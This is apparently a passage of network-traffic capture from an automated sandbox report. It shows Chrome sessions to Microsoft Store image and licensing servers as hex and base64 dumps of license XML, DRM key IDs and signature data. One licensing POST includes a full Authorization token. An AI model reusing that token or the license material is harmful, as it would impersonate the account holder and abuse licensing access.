6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:30 UTC 2378 IN Data Raw: 54 41 33 4c 54 41 78 56 44 41 77 4f 6a 49 78 4f 6a 49 33 4c 6a 45 34 4d 7a 41 34 4e 7a 52 61 50 43 39 43 5a 
57 64 70 62 6b 52 68 64 47 55 2b 50 43 39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 
55 47 39 73 61 57 4e 70 5a 58 4d 2b 5a 58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 
54 56 31 46 70 54 32 6c 4b 62 46 6c 58 52 6d 70 4f 62 55 30 79 57 57 6b 77 65 45 31 48 52 54 42 4d 56 46 45 79 54 6c 5
2 72 64 45 39 45 52 54 46 5a 61 54 41 77 54 6b 64 5a 65 45 35 55 52 6d 78 5a 4d 6b 55 79 54 56 64 46 61 57 5a 52 50 
54 30 38 4c 30 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 
62 47 39 6a 61 7a 35 47 51 55 46 42 51 55 77 30 51 55 46 42 52 45 70 42 
Data Ascii: TA3LTAxVDAwOjIxOjI3LjE4MzA4NzRaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9
saWNpZXM+ZXlKc1pXZGhZM2xRY205a2RXTjBTV1FpT2lKbFlXRmpObU0yWWkweE1HRTBMVFEyTlRrdE9
ERTFZaTAwTkdZeE5URmxZMkUyTVdFaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5
GQUFBQUw0QUFBREpB

2022-07-01 09:01:30 UTC 2379 IN Data Raw: 79 31 74 62 33 4a 6c 49 33 4a 7a 59 53 31 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 50 46 4a 6c 5a 6d 56 79 
5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 35 
7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 
4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 6e 5a 6c 62 47 39 77 5a 
57 51 74 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 
52 47 6c 6e 5a 58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 
76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 
Data Ascii: y1tb3JlI3JzYS1zaGEyNTYiIC8+PFJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9
ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlI
iAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8w

Timestamp
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2022-07-01 09:01:30 UTC 2380 IN Data Raw: 31 5a 54 53 6c 68 4a 64 45 52 7a 59 55 46 4a 5a 6e 64 35 55 6a 6c 69 61 47 67 76 57 6c 4e 77 63 45 4e 42 
54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 5a 
4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 57 64 7a 
4e 57 59 6a 64 30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 55 74 57 4d 33 6c 69 65 
55 35 79 53 48 6c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 65 6c 46 68 4b 30 78 4d 
59 54 41 31 5a 6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 4f 54 55 4a 68 61 48 6f 
30 59 32 31 31 65 45 74 44 4e 43 39 6b 61 45 56 69 4e 30 70 61 52 6c 56 72 
Data Ascii: 1ZTSlhJdERzYUFJZnd5UjliaGgvWlNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHB
icnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z2xmWlBSQ
jVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmpvRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEViN0paRlVr

2022-07-01 09:01:30 UTC 2381 IN Data Raw: 6b 61 57 35 6e 58 31 52 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 78 42 63 33 4e 76 59 32 
6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 54 
32 5a 6d 61 57 4e 6c 53 48 56 69 58 7a 68 33 5a 57 74 35 59 6a 4e 6b 4f 47 4a 69 64 32 55 38 4c 30 46 7a 63 32 39 6a 
61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 
2b 4d 54 49 35 4e 6a 41 77 50 43 39 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 50 43 
39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 79 42 55 65 58 42 6c 50 53 4a 4d 5a 
57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 56 7a 59 57 64 6c 50 53 
Data Ascii: kaW5nX1R5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuTWljcm9zb2Z0T2Zma
WNlSHViXzh3ZWt5YjNkOGJid2U8L0Fzc29jaWF0ZWRQRk5zPjxMZWFzZVJlbmV3YWxQZXJpb2Q+MTI5N
jAwPC9MZWFzZVJlbmV3YWxQZXJpb2Q+PC9CaW5kaW5nPjxMaWNlbnNlSW5mbyBUeXBlPSJMZWFzZSIgT
GljZW5zZVVzYWdlPS

2022-07-01 09:01:30 UTC 2382 IN Data Raw: 7a 53 57 31 30 63 47 4a 74 55 57 6c 50 61 55 70 45 59 6a 49 31 4d 46 70 58 4e 54 42 4a 61 58 64 70 59 30 
64 47 61 6d 45 79 52 6d 35 61 57 45 31 70 54 32 78 30 4e 30 6c 75 51 6d 68 5a 4d 6e 52 6f 57 6a 4a 57 53 6c 70 48 56 
6e 56 6b 52 32 78 74 59 56 64 57 65 55 6c 71 62 32 6c 61 62 55 5a 71 57 6d 70 73 61 31 70 48 56 58 52 4e 56 31 70 74 
54 56 4d 78 61 55 35 55 5a 47 74 4d 56 46 4a 72 54 56 64 52 64 46 6b 79 56 54 42 4f 65 6d 78 74 57 6b 64 52 4d 45 31 
74 52 6d 31 4a 61 58 64 70 59 30 64 47 61 6d 45 79 52 6d 35 61 56 6c 49 31 59 30 64 56 61 55 39 70 53 6e 52 6a 4d 6d 
77 30 53 57 6c 33 61 57 4e 49 53 6e 5a 61 53 46 5a 71 5a 45 56 47 61 31 70 46 4f 58 56 6a 65 55 6b 32 56 7a 45 77 63 
30 6c 75 51 6e 6c 69 4d 6c 49 78 57 54 4e 53 53 6c 70 44 53 54 5a 4a 61 6d 
Data Ascii: zSW10cGJtUWlPaUpEYjI1MFpXNTBJaXdpY0dGamEyRm5aWE1pT2x0N0luQmhZMnRoWjJWSlpHVnVkR
2xtYVdWeUlqb2labUZqWmpsa1pHVXRNV1ptTVMxaU5UZGtMVFJrTVdRdFkyVTBOemxtWkdRME1tRm1Ja
XdpY0dGamEyRm5aVlI1Y0dVaU9pSnRjMmw0SWl3aWNISnZaSFZqZEVGa1pFOXVjeUk2VzEwc0luQnliMlIxWTNSSlp
DSTZJam

2022-07-01 09:01:30 UTC 2383 IN Data Raw: 6c 49 48 68 74 62 47 35 7a 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 
79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 49 6a 34 38 55 32 6c 6e 62 6d 56 6b 53 57 35 6d 62 7a 
34 38 51 32 46 75 62 32 35 70 59 32 46 73 61 58 70 68 64 47 6c 76 62 6b 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 
6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 
4d 54 41 76 65 47 31 73 4c 57 56 34 59 79 31 6a 4d 54 52 75 49 79 49 67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 
6c 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 
35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 
Data Ascii: lIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj48U2lnbmVkSW5mbz48Q
2Fub25pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1
jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bW

2022-07-01 09:01:30 UTC 2384 IN Data Raw: 58 59 6c 4e 6b 5a 6c 56 30 65 45 70 70 63 6d 56 32 62 6d 46 68 4b 33 46 74 59 6d 46 47 61 47 70 57 62 32 
70 56 4c 30 78 43 51 57 4e 34 4b 32 56 43 4e 55 6c 49 61 6a 4a 75 5a 54 4a 44 5a 58 68 71 63 79 74 43 64 53 38 72 55 
31 64 74 5a 48 4e 78 56 55 5a 7a 57 57 52 6d 53 6d 31 73 4e 30 52 42 61 56 46 46 53 56 42 57 5a 6e 49 7a 62 32 6c 44 
59 6d 64 51 62 44 4d 31 64 7a 30 39 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 
35 53 57 35 6d 62 79 42 4a 5a 44 30 69 58 7a 42 6d 4f 44 46 69 4d 6a 52 6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 
30 77 5a 44 56 6b 4c 57 55 33 59 7a 45 77 4d 44 67 31 59 7a 4d 7a 4d 43 49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 
6a 78 53 55 30 46 4c 5a 58 6c 57 59 57 78 31 5a 54 34 38 54 57 39 6b 64 57 
Data Ascii: XYlNkZlV0eEppcmV2bmFhK3FtYmFGaGpWb2pVL0xCQWN4K2VCNUlIajJuZTJDZXhqcytCdS8rU1dtZ
HNxVUZzWWRmSm1sN0RBaVFFSVBWZnIzb2lDYmdQbDM1dz09PC9TaWduYXR1cmVWYWx1ZT48S2V5SW5mb
yBJZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzMCI+PEtleVZhbHVlPjxSU0FLZXlWYWx1ZT4
8TW9kdW

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

14 192.168.2.5 49742 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:37 UTC 180 OUT GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-3
6ff7b9e590a?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:37 UTC 180 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 8756
Content-Type: image/png
Last-Modified: Tue, 31 Mar 2020 18:42:50 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTBFMkI5NzY"
MS-CV: LWC80YNOokeu7YAI.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:37 GMT
Connection: close
Access-Control-Allow-Origin: *
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2022-07-01 09:00:37 UTC 181 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
21 fb 49 44 41 54 78 da ed 9d 09 98 54 d5 99 bf bf 5a 7a 83 86 6e a0 51 76 94 55 1b d9 dd 45 23 46 8d 26 c4 a0 13 5c 
92 19 93 49 1c 9e ff df 99 c9 18 9d 24 2e 20 9a a8 33 79 cc 38 06 93 41 27 13 63 34 71 66 e2 02 ca 62 02 24 51 13 83 2c 
51 49 a2 a0 60 b3 08 08 0d d2 0d bd 56 75 f7 bd 53 55 5d 55 7d ea de 73 ee bd d5 dd 60 03 ef 3b cf 49 57 df a2 0a ba 93 
7a e7 fb 7e f7 bb e7 86 05 00 e0 18 21 cc af 00 00 10 16 00 00 c2 02 00 84 05 00 80 b0 00 00 10 16 00 20 2c 00 00 84 05 
00 80 b0 00 00 61 01 00 20 2c 00 00 84 05 00 08 0b 00 00 61 01 00 20 2c 00 40 58 00 00 08 0b 00 00 61 01 00 c2 02 00 
40 58 00 00 08 0b 00 10 16 00 00 c2 02 00 40 58 00 80 b0 00 00 10 
Data Ascii: PNGIHDR,,y}u!IDATxTZznQvUE#F&\I$. 3y8A'c4qfb$Q,QI`VuSU]U}s`;IWz~! ,a ,a ,@Xa@X@X

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

140 192.168.2.5 49907 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:31 UTC 2385 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.24
Content-Length: 4493
Host: licensing.mp.microsoft.com

2022-07-01 09:01:31 UTC 2386 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:31 UTC 2391 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:30 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8607
MS-CorrelationId: 7fa34c98-d92c-44e5-9445-e89106c00516
MS-RequestId: df2d6b32-2eeb-4384-883e-5ee26d728aca
MS-CV: UznHpAHqV0GMBdER.24.1530940063.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 79

2022-07-01 09:01:31 UTC 2391 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 39 31 61 35 62 34 63 37 2d 32 39 61 38 2d 65 
63 38 30 2d 34 33 32 31 2d 66 62 65 63 65 61 39 30 36 37 30 35 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"91a5b4c7-29a8-ec80-4321-fbecea906705"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9
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2022-07-01 09:01:31 UTC 2392 IN Data Raw: 6b 39 46 54 53 49 2b 50 45 6c 7a 63 33 56 6c 5a 45 52 68 64 47 55 2b 4d 6a 41 79 4d 69 30 77 4e 79 30 77 
4d 56 51 77 4f 54 6f 77 4d 54 6f 7a 4d 53 34 30 4e 44 4d 34 4e 44 49 31 57 6a 77 76 53 58 4e 7a 64 57 56 6b 52 47 46 
30 5a 54 34 38 54 47 46 7a 64 46 56 77 5a 47 46 30 5a 55 52 68 64 47 55 2b 4d 6a 41 79 4d 69 30 77 4e 79 30 77 4d 56 
51 77 4f 54 6f 77 4d 54 6f 7a 4d 53 34 30 4e 44 63 31 4e 44 59 30 57 6a 77 76 54 47 46 7a 64 46 56 77 5a 47 46 30 5a 
55 52 68 64 47 55 2b 50 45 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 79 4d 44 49 79 4c 54 41 33 4c 54 41 78 56 44 41 35 
4f 6a 41 78 4f 6a 4d 78 4c 6a 51 30 4e 7a 55 30 4e 44 5a 61 50 43 39 43 5a 57 64 70 62 6b 52 68 64 47 55 2b 50 43 39 
4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 
Data Ascii: k9FTSI+PElzc3VlZERhdGU+MjAyMi0wNy0wMVQwOTowMTozMS40NDM4NDI1WjwvSXNzdWVkRGF0ZT4
8TGFzdFVwZGF0ZURhdGU+MjAyMi0wNy0wMVQwOTowMTozMS40NDc1NDY0WjwvTGFzdFVwZGF0ZURhdGU
+PEJlZ2luRGF0ZT4yMDIyLTA3LTAxVDA5OjAxOjMxLjQ0NzU0NDZaPC9CZWdpbkRhdGU+PC9MaWNlbnN
lSW5mbz48Q3VzdG9t

2022-07-01 09:01:31 UTC 2393 IN Data Raw: 32 46 73 61 58 70 68 64 47 6c 76 62 6b 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 
49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 
73 4c 57 56 34 59 79 31 6a 4d 54 52 75 49 79 49 67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 54 57 56 30 61 47 
39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 
6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6b 63 32 6c 6e 4c 57 31 76 63 6d 55 6a 63 6e 4e 68 4c 58 4e 6f 
59 54 49 31 4e 69 49 67 4c 7a 34 38 55 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 49 46 56 53 53 54 30 69 49 6a 34 38 56 48 4a 
68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 
Data Ascii: 2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV
4Yy1jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94b
Wxkc2lnLW1vcmUjcnNhLXNoYTI1NiIgLz48UmVmZXJlbmNlIFVSST0iIj48VHJhbnNmb3Jtcz48VHJhbnNmb3Jt

2022-07-01 09:01:31 UTC 2394 IN Data Raw: 45 39 4d 65 48 63 76 51 6e 46 43 57 47 38 77 4d 6b 35 73 4e 7a 49 33 62 45 35 51 65 6e 5a 42 4d 33 41 7a 
64 7a 30 39 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 62 79 42 
4a 5a 44 30 69 58 7a 42 6d 4f 44 46 69 4d 6a 52 6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 30 77 5a 44 56 6b 4c 57 
55 33 59 7a 45 77 4d 44 67 31 59 7a 4d 7a 4d 43 49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 53 55 30 46 4c 5a 
58 6c 57 59 57 78 31 5a 54 34 38 54 57 39 6b 64 57 78 31 63 7a 35 76 56 6c 4e 4b 57 45 6c 30 52 48 4e 68 51 55 6c 6d 
64 33 6c 53 4f 57 4a 6f 61 43 39 61 55 33 42 77 51 30 46 50 4b 32 6c 75 4f 56 42 50 54 46 64 6b 51 7a 49 76 56 46 46 
76 5a 47 64 6c 53 46 70 36 59 6d 52 43 64 6e 68 4b 64 6b 74 6f 63 47 4a 79 
Data Ascii: E9MeHcvQnFCWG8wMk5sNzI3bE5QenZBM3Azdz09PC9TaWduYXR1cmVWYWx1ZT48S2V5S
W5mbyBJZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzMCI+PEtleVZhbHVlPjxSU0FLZXlWYWx
1ZT48TW9kdWx1cz5vVlNKWEl0RHNhQUlmd3lSOWJoaC9aU3BwQ0FPK2luOVBPTFdkQzIvVFFvZGdlSFp
6YmRCdnhKdktocGJy

2022-07-01 09:01:31 UTC 2395 IN Data Raw: 6a 67 74 4e 57 49 30 59 79 30 77 5a 6a 6b 79 4e 47 4a 6d 59 7a 4d 35 4e 44 6b 69 49 46 5a 6c 63 6e 4e 70 
62 32 34 39 49 6a 55 69 49 48 68 74 62 47 35 7a 50 53 4a 31 63 6d 34 36 63 32 4e 6f 5a 57 31 68 63 79 31 74 61 57 4e 
79 62 33 4e 76 5a 6e 51 74 59 32 39 74 4f 6e 64 70 62 6d 52 76 64 33 4d 36 63 33 52 76 63 6d 55 36 62 47 6c 6a 5a 57 
35 7a 61 57 35 6e 4f 6d 78 7a 49 6a 34 38 51 6d 6c 75 5a 47 6c 75 5a 79 42 43 61 57 35 6b 61 57 35 6e 58 31 52 35 63 
47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 78 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 7a 64 47 46 75 59 32 56 4a 
52 44 35 6a 4d 6a 67 79 4e 44 51 30 4d 79 30 33 5a 44 4e 6a 4c 54 52 68 59 7a 41 74 4f 54 56 6b 5a 69 31 69 4e 57 59 
31 4d 6d 55 32 4f 44 49 33 59 32 4d 38 4c 30 78 70 59 32 56 75 63 32 56 4a 
